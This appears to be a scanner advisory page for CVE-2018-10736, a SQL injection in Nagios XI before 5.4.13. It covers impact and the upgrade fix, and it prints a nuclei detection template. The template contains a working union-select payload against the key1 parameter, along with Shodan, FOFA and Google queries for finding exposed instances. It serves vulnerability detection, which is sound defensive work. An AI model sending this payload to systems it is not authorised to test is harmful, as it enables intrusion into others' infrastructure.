NagiosXI <= 5.4.12 - SQL injection

highseverity

7.2CVSS score

41.7%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

A SQL injection issue was discovered in Nagios XI before 5.4.13 via the admin/info.php key1 parameter.

Impact

Authenticated administrators can execute arbitrary SQL commands to access, modify, or delete database contents, potentially compromising the entire Nagios XI instance.

Fix

Upgrade to Nagios XI version 5.4.13 or later.

How to confirm it

Send: GET {{BaseURL}}/nagiosql/admin/info.php?key1=%27%20union%20select%20concat(md5({{num}}))%23
Positive when: contains "{{md5(num)}}"

Run it with nuclei: nuclei -id CVE-2018-10736 -u <target>

The full check

id: CVE-2018-10736

info:
  name: NagiosXI <= 5.4.12 - SQL injection
  author: DhiyaneshDK
  severity: high
  description: |
    A SQL injection issue was discovered in Nagios XI before 5.4.13 via the admin/info.php key1 parameter.
  impact: |
    Authenticated administrators can execute arbitrary SQL commands to access, modify, or delete database contents, potentially compromising the entire Nagios XI instance.
  remediation: |
    Upgrade to Nagios XI version 5.4.13 or later.
  reference:
    - https://github.com/0ps/pocassistdb
    - https://github.com/jweny/pocassistdb
    - https://vulners.com/seebug/SSV:97266
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2018-10736
    cwe-id: CWE-89
    epss-score: 0.41703
    epss-percentile: 0.98697
    cpe: cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: nagios
    product: nagios_xi
    shodan-query: http.title:"nagios xi"
    fofa-query:
      - app="Nagios-XI"
      - title="nagios xi"
      - app="nagios-xi"
    google-query: intitle:"nagios xi"
  tags: cve,cve2018,nagios,sqli,vuln,vkev
variables:
  num: "{{rand_int(2000000000, 2100000000)}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/nagiosql/admin/info.php?key1=%27%20union%20select%20concat(md5({{num}}))%23"

    matchers:
      - type: word
        part: body
        words:
          - "{{md5(num)}}"

References

Use this check only on systems you are authorised to test. Where the data comes from